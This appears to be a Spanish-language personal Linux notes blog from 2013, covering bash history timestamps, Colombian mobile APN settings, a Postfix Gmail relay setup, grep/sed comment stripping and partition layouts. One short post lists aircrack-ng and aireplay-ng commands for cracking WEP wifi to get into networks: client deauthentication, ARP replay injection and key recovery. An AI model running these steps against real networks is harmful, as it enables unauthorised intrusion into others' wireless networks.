21/12/13

Linux: History command linem Display timestamp using HISTTIMEFORMAT

http://unix.stackexchange.com/questions/97983/histtimeformat-modification-in-etc-bash-rc-or-etc-profile


Se crea el archivo /etc/profile.d/custom_histformat.sh con el comando:

 echo 'export HISTTIMEFORMAT="%y/%m/%d %T      "' >> /etc/profile.d/custom_histformat.sh

19/12/13

Datos para la configuración de datos o APN para Colombia

http://luisjoseb.blogspot.com/2010/02/datos-para-la-configuracion-edgegprs.html
 
En esta entrada proporcionaré los datos para la configuración de Internet de Claro (COMCEL), Movistar, TIGO, Uff Movil y Virgin Mobile en Colombia, esto es lo que generalmente se conoce como APN.

Si estás en otro país deberás conseguir los datos del operador en dicho país.
Adicionalmente, agrego el link dónde se explica cómo hacer la configuración en Android y en Windows Mobile 6.1 estándard.

Claro (COMCEL):
  • Configuración Internet (WEB COMCEL)
    • Connects to: Internet
    • Access point: internet.comcel.com.co
    • User name: COMCELWEB
    • Password: COMCELWEB
    • Authentication Type: None
    • Primary DNS: en blanco
    • Secondary DNS: en blanco
    • IP Address: 192.228.90.228
Movistar (Colombia):
  • Configuración Internet (Internet Móvil)
    • Connects to: Internet
    • Access point: internet.movistar.com.co
    • User name: MOVISTAR
    • Password: MOVISTAR
    • Authentication Type: None
    • Primary DNS: en blanco
    • Secondary DNS: en blanco
    • IP Address: 192.168.222.7
TIGO (Colombia):
  • Configuración Internet (TIGO WEB)
    • Connects to: Internet
    • Access point: web.colombiamovil.com.co
    • User name: (en blanco)
    • Password: (en blanco)
    • Authentication Type: None
    • Primary DNS: (no se requiere)
    • Secondary DNS: en blanco
    • IP Address: (no se requiere)
Uff Movil:
  • Configuración Internet (UFF MOVIL)
    • Connects to: Internet
    • Access point: web.uffmovil.com
    • User name: en blanco
    • Password: en blanco
    • Authentication Type: None
    • Primary DNS: en blanco
    • Secondary DNS: en blanco
    • IP Address: en blanco
Virgin Mobile (Colombia):
  • Configuración Internet (Virgin Mobile)
    • Connects to: Internet
    • Access point: web.vmc.net.co
    • User name: en blanco
    • Password: en blanco
    • Authentication Type: None
    • Primary DNS: en blanco
    • Secondary DNS: en blanco
    • IP Address: en blanco

WEP:pasos con wifiway u otra distro similar para ingresar a redes wifi con seguridad WEP

activar monitor en canal 1 por ejemplo
airmon-ng start wlan0 1
detener
airmon-ng stop wlan0

Descubrir:
airodump-ng mon0
aireplay-ng -9 wlan0

Identificar Clientes Conectados
airodump-ng -c 6 --bssid APMAC -w output mon0

en OTRA consola
autodesconexion de cliente para forzar arp
aireplay-ng -1 6000 -o 1 -q 10 -e [SSID] -a [MACAP] -h [MACCLIENTE] wlan0

en OTRA consola
captura
aireplay-ng -3 -b [MACAP] -h [MACCLIENTE] wlan0

en OTRA consola
Lectura
aircrack-ng -b [MACAP] output*.cap
lectura2
aircrack-ng -K -b [MACAP] output*.cap

25/10/13

Linux: SMTP relay con Gmail - email

http://blog.earth-works.com/2013/05/14/postfix-relay-using-gmail-on-centos/   (guia)
http://charlesa.net/tutorials/centos/postfix-as-gmail-relay-centos.php      (verificar)
http://linuxmoz.com/google-mail-ipv6-network-is-unreachable-postfix-ipv4-only-fix/  (en caso de errores ipv6)
http://priority-zero.blogspot.com/2013/03/postfix-with-gmail.html   (error por paquete faltante)
http://www.techotopia.com/index.php/Configuring_a_CentOS_Postfix_Email_Server

Instalar los paquetes necesarios

#  yum install -y postfix mailx cyrus-sasl-plain mod_ssl openssl

Configuracion

Es necesario crear un nuevo archivo con los datos de Gmail para que postfix pueda autenticarse ( /etc/postfix/sasl_passwd), cambiar en la siguiente linea los datos reales smtp_usuario y smtp_contraseña_

#  echo "smtp.gmail.com    smtp_usuario:smtp_contraseña" > /etc/postfix/sasl_passwd

Se debe incluir este archivo pero antes, los permisos de Postfix deben ser correctos para no tener errores de la siguiente forma “postmap: fatal: open database /etc/postfix/sasl_passwd.db: Permission denied”::

#  sudo chown postfix /etc/postfix
#  postmap hash:/etc/postfix/sasl_passwd

Eso crea un archivo sasl_passwd.db y si todo funciona bien, al final se DEBE eliminar por seguridad el sasl_passwd que se acaba de crear 

Se edita el archivo de configuracion de postfix  /etc/postfix/main.cf donde se agregan las siguientes lineas al final:

# Asigna el relayhost al servidor MSTP de Gmail
relayhost = smtp.gmail.com:587
# Se requiere la opcion TLS
smtp_tls_security_level = secure
smtp_tls_mandatory_protocols = TLSv1
smtp_tls_mandatory_ciphers = high
smtp_tls_secure_cert_match = nexthop
# Revisar que exista esta ruta -- Son los certificados usados por TLS
smtp_tls_CAfile = /etc/pki/tls/certs/ca-bundle.crt
# Asignar la opcion sasl
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous

Reiniciar el servicio postfix

Se reinicia el servicio:

# service postfix restart

Ahora se puede probar enviando un correo de la siguiente forma:

# mail email@domain

Llene el Subject, ponga algo en el cuerpo del mensaje, para enviarlo teclear un "." y la tecla "Entrar" a continuación.

Si el mensaje llego bien ya puede eliminar el archivo de autenticacion asi:

#  rm /etc/postfix/sasl_passwd

Si no funciona puede ver el log de la siguiente manera:

#  tail /var/log/maillog

Autoinicio de postfix

Es necesario quye el servicio inicie automaticamente al reiniciar el sistema:

# /sbin/chkconfig --level 345 postfix on

Linux: ver archivo de config sin comentarios

http://es.kioskea.net/faq/2136-bash-mostrar-un-archivo-sin-lineas-de-comentarios

Grep
Primero veremos el comando “egrep” (o “Grez –E”): 
egrep -v '^(#|$)'  /etc/samba/smb.conf

grep -E -v '^(#|$)'  /etc/samba/smb.conf

Aquí en este ejemplo no apareceran las líneas que comienzan con el signo almohadilla (#) o con el carácter de control de fin de línea ($). 

Si fuera necesario que el delimitador de comentarios no sea colocado al inicio de línea sino mas atrás (espacio o tabulación), o que el archivo incluya otros caracteres delimitadores como el punto y coma (;), es posible mejorar la expresión racional de este modo: 
grep -E -v '^(#|;|$|[ ]*#)' /etc/samba/smb.conf 

Sed

En segundo lugar veremos el comando “sed”: 
sed -e '/^[ ]*#/d' -e '/^$/d' /etc/samba/smb.conf

Aquí primero se eliminan las líneas que comienzan con un espacio o el signo almohadilla, luego se eliminan todas las líneas vacías. 

Claro que como en el ejemplo anterior podemos mejorar nuestro comando incluyendo otros caracteres, como el punto y coma, lo que daría como resultado: 
sed -e '/^[ ]*#/d' -e '/^[ ]*;/d' -e '/^$/d' /etc/samba/smb.conf

Perl

El tercer comando que veremos es el comando “perl”: 

Tanto en grep, egrep, sed, python, como en perl, siempre es regex que se encarga de hacerlo. 
Ahora solo nos queda estudiar la implementación de regex y el motor utilizado por lo usuarios. 
Es sabido por ejemplo que un motor DFA (Deterministic Finite Automation) es más rápido que un motorNFA (Nondeterministic Finite Automation). 
En cambio el motor NFA nos permite orientar el regex para obtener el resultado buscado, este es un entorno de creatividad que no se encuentra con un motor DFA
perl -ne 'print unless /^\s*[;\$#]|^$/' fichier_config

Los comandos sed y grep utilizan la sintaxis de las expresiones regulares. Podrás encontrar más información al respecto en Internet.

8/10/13

Linux: Distribución de particiones recomendada

http://content.hccfl.edu/pollock/aunix1/partitioning.htm

Para elegir el esquema de particiones según el rol del equipo.

Partitioning Map for 4 GiB hard disk,
Fedora
For a single user workstation
Part #
Mount Point
Size
Notes
1
/ (root)
3 GB
...
2
swap
256 MB
(assuming 128 MB of RAM)
3
/home
100 MB
...
52
/tmp
100 MB
...
6
/var
100 MB
...
...
...
...
...

Partitioning Map for 500 GB hard disk, Fedora,
For a Home user's multi-media development workstation
Part # /
LV name
Mount Point
Size
Notes
1
/ (root)
30 GB
...
2
swap
2 GB
(assuming 2 GB of RAM)
3
/boot
200 MB
...
5
150 GB
Formatted as an LVM physical volume;
holds volume group VG1
homeLV
/home
20 GB
Logical volume in VG1
tmpLV
/tmp
10 GB
Logical volume in VG1
varLV
/var
100 GB
Logical volume in VG1
optLV
/opt
(or /usr/local)
20 GB
Logical volume in VG1
6
rest of disk
Formatted as an LVM physical volume;
holds volume group VG2
moviesLV
/movies
rest of disk
Logical volume in VG2

Partitioning Map for Solaris 10 with 80 GB hard disk plus mirror
web and application server
Slice #
Mount Point
Size
Notes
Primary Solaris Partition
0
/ (root)
12 GB
...
1
swap
2 GB
assuming 2 GB of RAM.  Swap normally placed in cylinders on
the inside of the disk, as it won't be used much and wasting the
best performing area of the disk.  If the system is short of RAM,
having swap near the outer edge of the disk is better.
2
reserved
  —
refers to whole partition (for backups)
3
unused
  —
  —
4
unused
  —
  —
5
/export
5 GB
traditional Solaris location for NFS/Samba shares and user
home directories (
/export/home is mounted on /home via
auto-mounter)
6
un-named
60 GB
SVM pool for soft partitions
7
un-named
32 MB
needed for meta-device DB replicas, used when (re-)mirroring
disks with SVM (OK to reserve this if SVM might ever be used)
Each replica needs 4 MB and only 2 or 3 are needed, but wasting
20 MB is okay and some folks recommend this size
SVM Soft Partitions — grow as needed
  —
/var
4 GB
...
  —
/var/www
(or /www)
30 GB
the web site including web content, servlets and EJBs,
databases, ...
  —
/opt
10 GB
...
  —
/var/log
6 GB
only needed if you plan to keep a lot of on-line log data
(e.g., weeks to months).  Best practice is to leave this as part
of root partition (and make that 6 GB larger)
  —
reserved
rest of
SVM pool
others as needed later: /crash-dump, /var/audio-video,
/var/mail, /var/spool, /usr/share, ...